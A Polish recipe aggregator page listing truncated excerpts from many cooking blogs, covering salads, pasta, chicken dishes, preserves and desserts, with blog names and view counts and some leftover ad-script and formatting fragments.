Przekładamy ją do dwóch dużych talerzy lub misek.  SPOSÓB 1 - Na patelni rozgrzewamy masło, dodajemy wyciśnięty czosnek i chwilkę podsmażamy. Następnie zakręcamy gaz i dodajemy natkę pietruszki, mieszamy. Sosem polewamy fasolkę i podajemy.  SPOSÓB 2 - na patelnię wsypujemy bułkę tartą, chwilkę ją podgrzewamy aby była twarda. Następnie dodajemy masło i mieszamy aż składniki się połączą, bułką tartą polewamy

Kulinarne Fantazje Marioli
Wegetariańska sałatka z grzankami i fetą 158

Wegetariańska sałatka z grzankami i fetą to szybka propozycja na zdrową, smaczną i bardzo pożywną kolację. Pomimo, tego co sugeruje nazwa, sałatka przeznaczona jest dla każdego

Kulinarnyblog.pl - wiesz jak gotować!
Cukinia marynowana z chili 159

Cukinia to od pewnego czasu bardzo popularne warzywo. Można ją wykorzystywać do przygotowywania różnego rodzaju potraw. Najpopularniejsze to leczo z cukinii , cukinia faszerowana mięsem mielonym czy różnego rodzaju sosy do makaronów. Na pewno każdy z nas ma swoje ulubione sposoby na to warzywo. Pomimo tego, że cukinia w smaku jest mdła to po odpowiednim przygotowaniu i doprawieniu smakuje wyśmienicie. Dzisiaj

Danka Pichci
Spaghetti z tuńczykiem, papryką i mozzarellą 166

olio, zmieniając dodatki i mam kilku swoich faworytów - to jeden z nich ;) Z podanych składników przygotowałam 2 porcje. Składniki: 200 g suchego makaronu spaghetti 1 mała puszka tuńczyka w sosie własnym 2 łyżki oleju z dodatkiem chilli (może być tez zwykły lub oliwa) 6 dużych ząbków czosnku 1/2 czerwonej papryki 1 opakowanie mozzarelli w zalewie chilli w płatkach lub mielone

Prosto z Kotła
Odrywane bułeczki drożdżowe z pieczarkami i mozzarellą 181

ół ) Bułeczki wstawiam do nagrzanego piekarnika i piekę około 30-40 minut. Do zrumienienia. Takie bułeczki smakują najlepiej jeszcze ciepłe, choć na zimno są również smaczne. Podaję je z sosem czosnkowym. Smacznego

Kuchnia z widokiem na ogród
Pierś kurczaka lub indyka w sosie kurkowym 129

przygotowania piersi kurczaka lub indyka w sosie kurkowym można użyć pierś w kawałku lub filety. 500 g piersi z kurczaka lub indyka w kawałku lub kotletach, filetach, 200 g kurek, 1 nieduża cebula (u mnie cukrowa), parę gałązek tymianku lub gałązka rozmarynu, 1 – 2 ząbki czosnku, sól, pieprz świeżo zmielony, 250 ml śmietany kremówki 30%, 100 ml białego wytrawnego wina

królestwo garów
Sałatka z ogórków i pomidorów 138

można zastąpić szczypiorkiem lub cebulą (białą, cukrową, czerwoną).     (adsbygoogle = window.adsbygoogle || []).push({}); Dodatki do obiadu:           (adsbygoogle = window.adsbygoogle || []).push({}); Smaczne przekąski… Jajka w sosie czosnkowym Domowe nuggetsy Paluszki serowe z ciasta francuskiego Przekąska z jajkiem Sałatka brokułowa z fetą i fasolą

Kulinarny S.O.S.
Kapuściane roladki 171

Kapuściane roladki Można powiedzieć, że to są gołąbki, ale nie w sosie, panierowane w bułce tartej. Można nazwać roladki, ale nie ze schabu tylko z mielonego mięsa. Nazwa nieważna, ważne, że są pyszne. Składniki: ·        Kapusta pekińska ·        ½ kg mięsa mielonego ·        3 jajka

Kulinarna Chwila
Pieczone ziemniaki z serkiem czosnkowym i boczkiem 558

przez praskę czosnek. Doprawiamy solą oraz pieprzem, mieszamy. Odstawiamy do lodówki, do schłodzenia. Boczek kroimy w kostkę. Wrzucamy na rozgrzaną patelnię i smażymy do zrumienienia. Upieczone ziemniaki polewamy zimnym sosem, posypujemy boczkiem oraz resztą posiekanego szczypiorku

Smaki Na Talerzu
Ogórkowa na żeberkach i wiejskie bułeczki – dwa przepisy 233

cebula opalona na palniku), 4-5 średniej wielkości ziemniaków 2 liście laurowe 3-4 ziarenka czarnego pieprzu 3 ziela angielskie ok. 400 g ogórków kiszonych śmietanka do zup lub sosów lub słodka śmietana 30% posiekany koperek lub koperek suszony sól i pieprz do smaku Przygotowanie: Mięso zalewamy zimną wodą i doprowadzamy do zagotowania. Zbieramy szumowinę, zmniejszamy moc palnika

Słodkie okruszki
Tost francuski z pastą krewetkową i kiełkami groszku 138

waste" chciałam z tych wszystkich pozostałości po śniadankach, obiadkach i kolacjach, zrobić sobie na śniadanie coś pysznego i tak właśnie powstało to danie. Reszta wczorajszych krewetek z kolacji w sosie majonezowym z posiekanymi kiełkami groszku, tost francuski z wytrawnej chałki, którą piekłam w środę i trochę dodatków. Dla jednych to spacerek przez lodówkę, a dla mnie to totalnie odjechane

Mango Papaja
Tarta z sosem pomidorowym i tuńczykiem 144

Tarta z pomidorowym sosem, pysznym tuńczykiem oraz warzywami to idealny pomysł na obiad, który na świeżym powietrzu będzie smakował jeszcze lepiej. Skusicie się? Składniki: Wypełnienie: 1 puszka tuńczyka 1/2 czerwonej cebuli 5 suszonych pomidorów 1 puszka pomidorów krojonych Garść rukoli 1 łyżeczka suszonego oregano 1 łyżeczka suszonej bazylii Ciasto na formę 32 cm: 2 szkl. mąki 80 g masła

Czarnawisienka
Brzoskwinie z rozmarynem i kremowym serkiem 151

Przystawka ze świeżej moreli skomponowanej z kremowym serkiem owczym. Połączenie wytrawnej słodyczy i lekko słonawego nadzienia z serka. Pieczone morele z bryndzą, pistacjami i sosem miodowo – limonkowym. {"@context":"https:\/\/schema.org","@type":"Recipe","name":"Pieczone brzoskwinie z rozmarynem i owczym serem","image":["https:\/\/prostepesto.pl\/wp-content\/uploads\/2020\/08\/pieczone-brzoskwinie-z-serkiem.jpg","https:\/\/prostepesto.pl\/wp-content\/uploads\/2020\/08\/pieczone-brzoskwinie-z-serkiem-500x500.jpg","https:\/\/prostepesto.pl\/wp-content\/uploads

ProstePesto.pl
Gofry jak greckie placki z cukinii 213

cukinią i serem feta(można dodać też pocięte w paseczki plastry wędzonego łososia). Te przypieczone kawałki, które widać na zdjęciu to właśnie ser feta. Pysznie smakują z roszponką i sosem z cytryny i jogurtu. cukinia 3-4 łyżki mąki ( dałam gryczaną) jajo łyżeczka oregano ząbek czosnku 1/2 opakowania sera feta pieprz do smaku 3/4 łyżeczki sody 1 łyżka oleju Zetrzeć

AZgotuj!
Makaron z cukinią, porem oraz kiełbasą krakowską 165

kilkoma kroplami soku z cytryny. Pozostałą śmietanę mieszamy do połączenia z żółtkami. Dodajemy na patelnię. Smażymy, co jakiś czas mieszając, jeszcze przez chwilę. Na talerze wykładamy odcedzony makaron. Wykładamy sos cukiniowy z kiełbaską, szynką i porem. Na wierzchu rozkładamy upieczone połówki pomidorków

Smaki Na Talerzu
Szybkie Mini Omlety z Serkiem 146

miodu Wykonanie: Wszystkie składniki na nadzienie umieszczamy w miseczce i dokładnie mieszamy. (adsbygoogle = window.adsbygoogle || []).push({}); Każdy omlet smarujemy przygotowanym serkiem, tworząc mini piramidkę. Ostatni omlet można przyozdobić dżemem i sosem do naleśników (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Szybkie Mini Omlety z Serkiem pochodzi z serwisu Przepiski.pl

Przepiski.pl
SAŁATKA SZWAJCARSKA 138

kukurydzy, zielonego groszku z puszki lub pół szklanki selera konserwowego. Do sałatki możesz wybrać dowolną szynkę i ser, choć polecam ser ementaler. Dodatek majonezu i musztardy możesz zastąpić prostym sosem winegret. Wszystkie składniki, tj. szynkę, ser i ogórki możesz pokroić w cienkie paseczki o identycznej długości, np. ok. 2,5-3 cm. PRZYGOTOWANIE: Szynkę i ogórki pokrój w kosteczkę

Zasmakuj Kuchni
Skrzydełka z kalafiora 631

Skrzydełka z kalafiora to pyszna propozycja na przekąskę! Super się sprawdzi jako danie na imprezę, ale można je podawać także na obiad, np. w towarzystwie frytek i ulubionych sosów. Gorąco zachęcam do wypróbowania przepisu! Skrz The post Skrzydełka z kalafiora appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Pierś kurczaka z kurkami i szpinakiem 338

stron. Zdjąć z patelni na talerz. Na tej samej patelni podsmażyć pokrojoną w kostkę cebulę oraz oczyszczone i pokrojone kurki. Następnie wlać śmietankę, doprowadzić do zagotowania, zmniejszyć ogień. Do sosu dodać obsmażone kawałki kurczaka oraz szpinak, doprawić do smaku. Podgrzewać, aż zgęstnieje. Na koniec posypać natką pietruszki. Pierś kurczaka z kurkami i szpinakiem podawać z ziemniakami. Artykuł Pierś kurczaka

Pasja Smaku
Sałatka Gado - gado 128

również jako lotek, to indonezyjska sałatka z lekko gotowanych, blanszowanych lub gotowanych na parze warzyw i jajek na twardo, gotowanych ziemniaków, smażonego tofu i tempeh oraz lontong, podawana z sosem z orzeszków ziemnych. Tempeh to wyrób z soi a lantong to rodzaj prasowanego ryżu. Mój przepis to kombinacja moich składników jako dodatku i podstawa według Jamiego Olivera. Zachęcam gorąco

Moje Małe Czarowanie
Sałatka ziemniaczana z rzodkiewką, bez majonezu. Super do grilla. 154

Sałatki ziemniaczane to jedne z moich ulubionych sałatek do grilla. Przygotowuję je na różne sposoby. Dziś zapraszam na sałatkę bez majonezu, z sosem na bazie oliwy i octu. Doskonała do grillowanych mięs, ryb czy innych dań. Fajnie sprawdza się w upały, może postać dłużej na stole bez obawy, że się zepsuje. Przygotować też ją można, a nawet trzeba trochę wcześniej

Kuchnia z widokiem na ogród
Gofry gryczane z komosą ryżową 136

propozycja na bezglutenowe danie, które może występować w roli pieczywa lub deseru. Jeszcze kilka lat temu kiedy próbowałam gryczanych wypieków wydawały mi się dziwne w smaku. Kasza gryczana z sosem mięsnym pycha, ale do słodkiego to niekoniecznie. Po raz kolejny jeśli o smaki chodzi sama sobie udowodniłam, że jest to kwestia poznania, rozsmakowania się i przyzwyczajenia. Nietolerancje dzieci postawiły przede

Dorota Smakuje
Sałatka z cukinii do słoików na zimę 132

Jaglaną I Mięsem Wiosenna Surówka Z Ogórkiem, Cukinią I Rzodkiewką Pyszna Sałatka Z Cukinią I Fasolą – Na Grilla I Nie Tylko (90 Kcal) Makaron Z Bobem I Cukinią W Sosie Śmietanowym Artykuł Sałatka z cukinii do słoików na zimę pochodzi z serwisu e-PrzepisyKulinarne.pl

e-PrzepisyKulinarne
Krokiety z farszem warzywno-jajecznym 120

obtaczając je w roztrzepanym jajku i bułce tartej, gotowe krokiety smażymy na patelni na rozgrzanym oleju na złocisty kolor z obydwu stron, możemy podawać same lub z ketchupem czy sosem czosnkowym, (adsbygoogle = window.adsbygoogle || []).push({}); Zdjęcia

Blog kulinarny S9.PL
Makaron z ciecierzycą i świeżym szpinakiem 125

Uwielbiam dania z makaronem! Mogłabym się żywić samym makaronem ;) No dobra, prawie, bo jeszcze bym go podawała z ulubionymi warzywami i może w sosie pomidorowym. Dziś mam dla Was szybki przepis na makaron uwaga – z ciecierzycą i świeżym szpinakiem. Jakie to jest dobre! Ogólnie niezbyt przepadam za ciecierzycą z puszki, ale taka podsmażona ... Czytaj dalej Makaron z ciecierzycą

Pink Envelope
Udka z piekarnika w marynacie / Baked Chicken Legs 231

Pieczonym ziemniakom i warzywom wystarczy 40 minut, więc dodajemy je troszkę później na blaszkę. Całość możecie podać z sałatą lub prostą sałatką. Do ziemniaków i mięsa świetnie pasuje również sos czosnkowy lub koperkowy. Smacznego:) Jeśli lubicie pieczonego kurczaka, polecam również łatwy przepis na udka z piekarnika bez skóry i kości w marynacie jogurtowej : Przepis na udka z piekarnika w marynacie

Lekcje w kuchni
Deser szarlotkowy – karmelizowane jabłka ze śmietaną 106

cukrem. Dodajemy jabłka. Oprószamy je cynamonem. Smażymy, delikatnie mieszając, przez kilka minut (na początku można jedynie potrząsać patelnią). Jabłka powinny lekko zmięknąć, ale nie mogą się rozpadać; a sos wyraźnie zgęstnieć i w trakcie mieszania pozostawiać za sobą charakterystyczne „nitki”. Odstawiamy do przestudzenia. Przygotowujemy karmel. Na patelni, na całej jej powierzchni, rozprowadzamy cukier. Podgrzewamy na małym (!) ogniu

Smaki Na Talerzu
Cukinia nadziewana tofu, mozzarellą i pomidorami 148

pozostałych składników. 2.Cebulę i czosnek obieramy, kroimy w kostkę, przesmażamy na oliwie, dodajemy tofu i pomidory z puszki wraz z całą zalewą. Dusimy do miękkości warzyw i zgęstnienia sosu. Przyprawiamy do smaku. Na koniec dodajemy ser mozzarellę pokrojoną w drobną kostkę i dokładnie mieszamy. 3. Cukinie myjemy, osuszamy i cieniutko obieramy, przekrawamy wzdłuż i wydrążamy środek. Układamy

Izabelawkuchni
Pieczone pałki z kurczaka 241

Składniki: ok. 1 kg pałek z kurczaka marynata: 1 łyżka dżemu, najlepiej kwaśnego 2 łyżki sosu sojowego 1 łyżka octu balsamicznego, u mnie malinowy 1 łyżka musztardy francuskiej liść laurowy … Czytaj dalej Pieczone pałki z kurczaka

czarrna od kuchni
Zupa krem z cukinii z fetą i chorizo FIT 214

robić? Była już parmigiana di zucchine, sałatka z grillowaną cukinią , domowe sushi Futomaki z cukinią , placki z cukinii z mozzarellą , gryczane brownie z cukinii , tarta cukiniowa , makaron w śmietanowym sosie z cukinią, tymiankowe placki cukiniowe , placki cukiniowe z parmezanem … czas na zupę krem! Przyrządzam ją od dawna, lecz nigdy nie doczekała się publikacji – aż do dzisiaj. Moja propozycja

Be Fit Be Strong
Naleśniki ze szpinakiem 119

szpinak z czosnkiem i mozzarellą to jeden z lepszych farszów do naleśników. Dziś dodatkowo przepis na naleśniki bez jajek. Naleśniki ze szpinakiem można dodatkowo zapiec w piekarniku polewając np. sosem pomidorowym i dodatkowo oprószyć tartym serem, parmezanem lub grana padano. Naleśniki są proste i mega pyszne, wykonasz je zarówno ze świeżego jak i mrożonego szpinaku (rozdrobniony lub liście). Z przepisu

Zasmakuj Kuchni
Sałatka z grillowana piersią z kaczki i czerwonymi porzeczkami. 171

tarce Mięso zamarynuj na minimum 2 godziny w przyprawie do drobiu staropolskiego.  Mięso grillujemy. W/w składniki umieść w misie dodaj pokrojoną pierś z kaczki i wybrany sos. W wersji na bogato podaj np. z grzankami z domowej bagietki. Pyszne, proste i sycące danie! Polecam każdemu

SMYKWKUCHNI
Wrapy z mięsem mielony i kurkami 129

patelni. KROK 4. Pomidory kroimy na plasterki. KROK 5. Na wrapa (można podgrzać trochę w piekarniku) rozkładamy kilka plasterków pomidorów, mięso mielone, cukinię z kurkami, polewamy ketchupem lub ulubionym sosem, zawijamy i gotowe! Czas przygotowania: około 40 minut SMACZNEGO! Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband

Związek na patelni
Poradnik ProstePesto. Kuchnia amerykańska 104

wielu uważana za niezdrową i sprzyjającą tyciu, jest jedną z najbardziej uwielbianych kuchni, zwłaszcza wśród młodych ludzi. Kiedy mówimy o kuchni amerykańskiej, wyobrażamy sobie wielkie burgery, stos frytek polanych sosem, hot dogi i oczywiście masło orzechowe. Obserwując społeczeństwo amerykańskie, można jasno stwierdzić, że taka dieta nie sprzyja zdrowiu. Amerykanie są jednymi z najbardziej otyłych ludzi na świecie. Czy istnieje zatem

ProstePesto.pl
Kaszotto z indykiem 181

Składniki: 200 g kaszy gryczanej 500 g indyka 1 czerwona papryka 1 marchewka 1 duża cebula 1 średnia cukinia 150 g groszku cukrowego sól, pieprz sos chili słodka papryka, zioła … Czytaj dalej Kaszotto z indykiem

czarrna od kuchni
Buraczki z papryką na zimę 135

Muszę przyznać, że buraczki w przygotowane w ten właśnie sposób o moja ulubiona surówka do ze słoika. Idealnie komponują się ze wszystkimi mięsami, mięsnymi sosami, ziemniakami i kaszami. Jest to sałatka, którą z chęcią zajadają również dzieci.  3 kg buraków 1/2 kg czerwonej papryki 1/2 kg cebuli 1/2 szklanki oleju (poj.250 ml) 1/2 szklanki cukru 1/ 2 szklanki octu

Krylowa Kuchnia
Sałatka ziemniaczana z fasolką szparagową 147

mnie nic się nie marnuje. Z resztek z jednego obiadu postał pyszny dodatek na drugi obiad. Ziemniaki i fasolka szaragowa połączone pysznym sosem czosnkowym z koperkiem. Może nie wygląda ale świetnie smakuje, solo lub jako dodatek do mięsa. składniki: 6 ugotowanych średnich ziemniaków ok 400 g ugotowanej fasolki szparagowej, u mnie żółta garść posiekanego koperku 4 łyżki majonezu 4 kopiaste

Monia miesza i gotuje
Maślana tarta z morelami w karmelu 169

ściemnieje i zacznie pachnieć zdjąć z ognia, dodać masło i śmietanę (będzie mocno bulgotać) i mieszać aż masło się rozpuści a karmel będzie gładki. Do sosu dodać sok który puściły brzoskwinie, zostawić do lekkiego ostygnięcia. Białko oddzielić od żółtka. Za pomocą pędzelka posmarować białkiem spód ciasta. Karmel wymieszać z  morelami , dodać mąkę

Smaczny zeszyt
Przegrzebki w sosie mignonnette 108

szklanki pokrojonej w drobno kostkę rzodkiewki  Przygotowanie: W dużej misce wymieszałem ocet, musztardę, oliwę, szalotki, sól i pieprz. Na godzinę lub dwie przed podaniem przełożyłem przegrzebki do sosu. Wymieszałem i wstawiłem do lodówki. Obrałem ogórka. Obieraczką do warzyw skroilem 6-8 długich pasków. Złożyłem razem i pokroiłem na wąskie paski. Tuż przed podaniem do przegrzebków dodałem rzodkiewkę i dokładnie

R'n'G Kitchen
Tatar z łososia z majonezem 147

przegryzienia w pracy. A z odpowiednią dekoracją doskonale spisze się także na romantycznej kolacji we dwoje   Pomysły na ryby: ** Ryba w zalewie pomidorowo-octowej ** Ryba duszona w sosie pomidorowym ** Ryba w kukurydzianej panierce ** Ryba pieczona na ryżu   (adsbygoogle = window.adsbygoogle || []).push({}); Składniki na 2-3 porcje: 200 g wędzonego łososia 1/2 średniej cebuli 2 małe ogórki gruntowe lub kawałek

Kulinarny S.O.S.
Prosta surówka z buraków kiszonych 174

tego co mam w kuchni bo tak jest bardziej ekonomicznie i ekologicznie. Jeśli więc o ten przepis chodzi majonezu użyjcie jakiego macie, nada się tu też każdy gotowy sos sałatkowy kupny na bazie majonezu np czosnkowy. Jeśli chodzi o zioła świeże, użyjcie tego co macie na parapecie lub co lubicie: natka pietruszki, szczypiorek, oregano świeże czy majeranek będą ok. PRZEPIS

Dorota Smakuje
Makaron z cukinią 171

Makaron z cukinią – to propozycja na szybki i prosty obiad, z którym poradzi sobie nawet osoba początkująca w kuchni. Kremowy sos na bazie śmietanki i mascarpone super komponuje się z kurczakiem curry. U mnie cała rodzinka uwielbia to danie, zw The post Makaron z cukinią appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Indiańska lemoniada 152

przyprawami m.in. z zielem angielskim, chili, tymiankiem i kminkiem. W kuchni tureckiej,  bliskowschodniej i śródziemnomorskiej sumak jest tradycyjnie stosowany jako dodatek do wielu potraw począwszy od sałatek i sosów na bazie jogurtu, po pieczone lub grillowane mięsa, ryby i warzywa. Jest jednym ze składników popularnej bliskowschodniej mieszanki przypraw zaatar oraz marynat do mięsa. Może być także dodawany do ryżu

Cztery Fajery
Kurczak z pieczarkami i szpinakiem 135

blogu dużą popularnością cieszy się szczególnie Polecam też na obiad: Kurczak w ziołach prowansalskich, pierś kurczaka z tymiankiem , pierś z kurczaka po prowansalsku , kurczak z warzywami i pieczarkami w sosie paprykowym, Pierś faszerowana serem i warzywami , a szczególnie pierś kurczaka zapiekana z warzywami , kurczak caprese , czyli pierś z pomidorami i mozzarellą, faszerowana pierś z rukolą, faszerowana pierś z serem kozim

Damsko-męskie spojrzenie na kuchnię
Duszony schab z porem w sosie koperkowym z ziemniakami jak z ogniska 121

ugotowanego mięsa dodajemy przez sitko mąkę pszenną i ziemniaczaną. Mieszamy delikatnie i zagotowujemy. Dodajemy posiekany koperek i gotujemy przez ok. 1 minutę. Smacznego! Artykuł Duszony schab z porem w sosie koperkowym z ziemniakami jak z ogniska pochodzi z serwisu Just Be Fit Be Strong

Be Fit Be Strong
Kluski śląskie z kurkami 148

Dzisiaj kolejna propozycja na pyszny obiad. Tradycyjne kluski śląskie ze smażonymi na masełku kurkami. Można do tego by podać jakieś mięso w sosie, ale same w sobie kluski z kurkami jako danie też się sprawdzą. Polecam.  KLUSKI ŚLĄSKIE Z KURKAMI Składniki: (1-2 porcje) 250 g ziemniaków ugotowanych i przeciśniętych przez praskę 1 jajko mąka ziemniaczana szczypta soli dodatkowo

Bon appetit mon amie
PIKANTNY GULASZ Z WOŁOWINY. TYM RAZEM Z KOPYTKAMI. 194

całość bulionem lub wodą oraz winem.  Wstawiamy na średni gaz i gotujemy pod przykryciem miękkości mięsa, co jakiś czas mieszając i uzupełniając odparowany płyn.  Jeśli lubimy gęste sosy, zaciągamy go mąką rozrobioną w odrobinie zimnej wody

Walijskie Pichcenie
Budyń kokosowy 132

Gotować na najmniejszym ogniu energicznie mieszając, aż budyń zgęstnieje. Następnie przełożyć do salaterek i udekorować owocami. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Domowy budyń waniliowy z sosem malinowym → Kokosowy pudding z chia → Kokosowo – pomarańczowy pudding z tapioki → Kokosowy pudding z tapioki z imbirem i trawą cytrynową → Czekoladowy pudding z tapioki z malinami Artykuł Budyń kokosowy pochodzi

Oryginalny smak
Sezonowe tiramisu z czarną porzeczką 115

Sezonowe tiramisu z czarną porzeczką to wyjątkowy deser. Łączy subtelny smak kremu z mascarpone i bitej śmietany oraz gęsty sos … Przeczytaj cały artykuł Artykuł Sezonowe <span>tiramisu z czarną porzeczką</span> pochodzi z serwisu My Blueberry Corner

My Blueberry Corner
Surówka czerwonej kapusty z żurawiną i dressingiem z tahiny 138

czerwonej kapusty garść suszonej żurawiny świeży tymianek lub suszony- do smaku 2 łyżki prażonych pestek słonecznika Dressing: 1 łyżka pasty z sezamu ( tahina) sok z 1/2 cytryny 1 łyżka sosu sojowego 1/2 łyżeczki kminku ( pomiń jeśli nie lubisz) 1 łyżeczka miodu pieprz do smaku 1/2 ząbka czosnku Składniki dressingu zmiksować.  Kapustę poszatkować. Dodać żurawinę, kminek i pestki słonecznika. Polać

AZgotuj!
Kruche pierożki z duszoną aromatyczną cebulką 169

kruche i idealne pierożki z nadzieniem z duszonej cebuli i mnóstwem suszonych ziół i przypraw. Smakują gorące jak i zimne. Można je podać z czerwonym barszczykiem, ketchupem czy ulubionym sosem. Podane samodzielnie bez dodatków też są pyszne. Potrzebujemy: Na cebulę: 6 średnich cebul olej do smażenia papryka słodka mielona według uznania oregano suszone według uznania bazylia suszona według uznania zioła

Izabelawkuchni
połowa kaczki w jabłkach w rękawie pieczona... 143

góra/dół, kaczkę piec 50 minut, następnie rękaw rozciąć na środku i na termoobiegu 150C piec około 15 minut, skórka będzie przypieczona, z wywaru z pieczenia można zrobić sos - pyszna, krucha, soczysta kaczka w jabłkach w rękawie pieczona, kaczka była duża i na dwie osoby podzieliłam ją na połowę i drugą połowę do zamrażarki.........SMACZNEGO

W Mojej Kuchni Lubię
Spaghetti a'la carbonara z dodatkiem bobu i kurek 140

kurek dorzucamy cebulę z boczkiem i przez kilka minut dusimy razem. KROK 5: Do całości wrzucamy bób, przyprawy i wlewamy śmietanę. Całość gotujemy kilka minut. KROK 6: Sos łączymy z makaronem i delektujemy się smakiem ;) Czas przygotowania:   około 1 godz. SMACZNEGO! Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy

Związek na patelni
Piersi z kurczaka pieczone na ryżu. 150

Piersi z kurczaka pieczone na ryżu to szybki i bardzo prosty w przygotowaniu obiad jednogarnkowy. Mięso dzięki pieczeniu z ryżem, sosem i warzywami jest miękkie i soczyste. Ryż aromatyczny, pomidorowo ziołowy. Ja do swojego dania dałam tylko marchewkę, cebulę i pieczarki. Ale dobrze też tutaj będzie pasować papryka, brokuł, czy inne warzywo na jakie akurat macie ochotę. Składniki ( dla trzech

Kuchnia z widokiem na ogród
Spaghetti Drobiowe Z Bakłażanem I Cukinią 155

przyprawiamy (nie żałujmy ich bo tylko spora ich ilość gwarantuje że spaghetti będzie przepyszne ! ) całość dusimy z 10 minut., doprawiamy jeszcze ewentualnie do smaku i przesmażamy do zgęstnienia. Gotowy sos podajemy z makaronem spaghetti posypanym parmezanem :) Smacznego

Gotowanie...to proste !
ŻOŁĄDKI DROBIOWE PO MYŚLIWSKU 115

miłośnicy podrobów? Jeśli tak to mam dla Was przepis na pyszne żołądki z kurczaka z pieczarkami, cebulą, papryką i ogórkiem konserwowym a to wszystko duszone w aromatycznym sosie pomidorowym. Danie to można podać z ryżem na obiad lub np z pajdą chleba na kolację. Doskonale też sprawdzi się jako ciepłe danie podczas różnych imprez domowych. Mnie smakuje bardzo :) Zapraszam

Zrób to smacznie
Filet z Kurczaka w Płatkach Kukurydzianych 126

ulubioną surówką. W moim przypadku była to surówka z marchewki, na którą przepis znajdziecie we wcześniejszym wpisie: Surówka z Marchewki Nuggetsy można także serwować w formie przekąski z ulubionym sosem. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Filet z Kurczaka w Płatkach Kukurydzianych pochodzi z serwisu Przepiski.pl

Przepiski.pl
Makaron z pomidorkami 110

ząbki czosnku papryczka chili porządna garść świeżej bazylii sól parmezan lub grana padano do podania Rozpoczynamy od ugotowania makaronu w osolonej wodzie al dente. W tym czasie zajmujemy się sosem. Pomidorki możemy sparzyć i obrać ze skórki lub zostawić skórkę i przekroić je tylko na połówkę (tak jak ja). Następnie na patelni rozgrzewamy oliwę z oliwek. Dorzucamy posiekaną drobno papryczkę

PatiGotuje
Szakszuka z bakłażanem, pyszne, szybkie jedzenie 128

drążę tej tematycznej skały, grunt że smakuje i niesie dużo możliwości z nowymi składnikami Szakszuka w podstawowej wersji zawiera pomidory, cebulę, kumin i oczywiści jajka , które dusi się w sosie z wyżej wymienionych ingrediencji Moja wersja, jest z bakłażanem , gdyż tuptając w maseczce, sapiąc i pocąc się na co dwutygodniowych zakupach, natknęłam się na te boskie, lśniące i tanie bakłażanowe

Ogrodnik w podróży
Szaszłyki z kurczaka cytrynowo tymiankowe 243

Wczoraj byliśmy cały cały dzień poza domem. Przed powrotem do domu zaliczyliśmy hinduską restaurację. Jedliśmy pyszne mięso i krewetki z grilla, aromatyczny ryż, naan, kokosowy sos… Kurczak z grilla to danie właśnie zainspirowane wczorajszą wizytą w restauracji. Zawsze marynuję mięso na grilla conajmniej przez 2 godziny. Marynata do kurczaka to podstawa. Kurczak to dosyć jak ja to mówię bezpłciowe

codojedzenia
Sezonowe tiramisu z czarną porzeczką 160

Sezonowe tiramisu z czarną porzeczką to wyjątkowy deser. Łączy subtelny smak kremu z mascarpone i bitej śmietany oraz gęsty sos … Przeczytaj cały artykuł Artykuł Sezonowe <span>tiramisu z czarną porzeczką</span> pochodzi z serwisu My Blueberry Corner

My Blueberry Corner
Sałatka ryżowa 288

Składniki: 1 szklanka ryżu 1 ogórek szklarniowy 1 puszka marchewki z groszkiem 250-300 g wędzonego fileta z piersi kurczaka 1 mała czerwona cebula sos: 2 łyżki oliwy 1 łyżeczka musztardy … Czytaj dalej Sałatka ryżowa

czarrna od kuchni
Tortellini w kremowym sosie z pieczarkami i karmelizowaną cebulą 198

uniwersalnym produktem i daje nieograniczone możliwości w kuchni. Dziś w roli głównej zgrabne pierożki tortellini w towarzystwie aromatycznych pieczarek, świeżego szpinaku i karmelizowanej cebuli. […] Artykuł Tortellini w kremowym sosie z pieczarkami i karmelizowaną cebulą pochodzi z serwisu Wędrówki po kuchni

Wędrówki po kuchni
Kuchnia macedońska - dobar apetit! 135

liściach winogron.  Tawcze grawcze i sarma Będąc w Skopje sprawdziliśmy sałatkę macedońską oraz kolejne potrawy macedońskie - Turli Tava i Sirden. Turli Tava to zapiekane mięso z ziemniakami w sosie pomidorowym. Sirden z kolei zawiera pokrojone mięso, które jest następnie zapiekane.  Sałatka macedońska to sałatka z pomidorów, cebuli z dodatkiem pieczonej papryki na wierzchu. Turli Tava po lewej, Sirden

psgotujemy
Pierogi z jagodami 235

jeżeli się przykleją do dna to za pomocą drewnianej łyżki odklejamy je)  Od momentu wypłynięcia na powierzchnię gotujemy 3-4 min.- wyciągamy za pomocą łyżki cedzakowej. Pierogi polewamy sosem i dekorujemy jagodami... Smacznego

Alutka-Gotuje
Kotlety zapiekane w sosie 167

garnka dodajemy passatę ,sok z cytryny ,musztardę ,cukier ,przyprawy ,szklanka wody oraz resztę przypraw .Zagotować to .Kotlety poukładać w pojemniku żaroodpornym i zalać zalewą . Są kruchutkie potem z pysznym sosem

Moje Wyroby
Pieczone kotlety brokułowe 217

Składniki: 1 brokuł 3 ziemniaki 2 jajka 1 łyżeczka curry sól, pieprz sos chili Przygotowanie: Brokuła ugotować na parze i zmielić w blenderze. Ziemniaki obrać i zetrzeć na tarce o … Czytaj dalej Pieczone kotlety brokułowe

czarrna od kuchni
Kurczak w mleku kokosowym 109

mleku kokosowym, będziecie po ten przepis wracać, ponieważ jest bardzo łatwy – poradzi sobie z nim dosłownie każdy. Gdyby ten przepis przypadł Wam do gustu, spróbujcie także Kurczaka w sosie curry, jest równie pyszny! Smacznego! Zobacz też: Łatwe obiady z ryżem Prosty obiad z piekarnika z ziemniakami i wieprzowiną Sałatka z zupek chińskich z kurczakiem Przepis na kurczaka w mleku

Kuchnia Bazylii
Migdałowe gofry z malinami 137

jednego gofra. Piekę około 5 minut. Zależy to od mocy urządzenia. Sześć malin rozgniatam i przecieram przez sitko. Sok wlewam do miseczki. Dodaję jogurt. Gofry podaję z malinami i sosem jogurtowym

wesoła kuchnia
SAŁATKA Z ŁOSOSIA I JAJEK NA TWARDO 127

jajek na twardo to pyszny sposób na bardzo zdrowy lunch do pracy albo do szkoły. Sałatka z dodatkiem pomidora, selera naciowego i fety, doprawiona świeżo mielonym pieprzem oraz aromatycznym sosem na bazie oliwy, czosnku i świeżych ziół. Przepis na sałatkę z łososia jest naprawdę prosty -  przygotowanie zajmuje tylko chwilę. Zamiast łososia, do przygotowania sałatki, możesz użyć upieczonego lub grillowanego

Moja Książka Kucharska
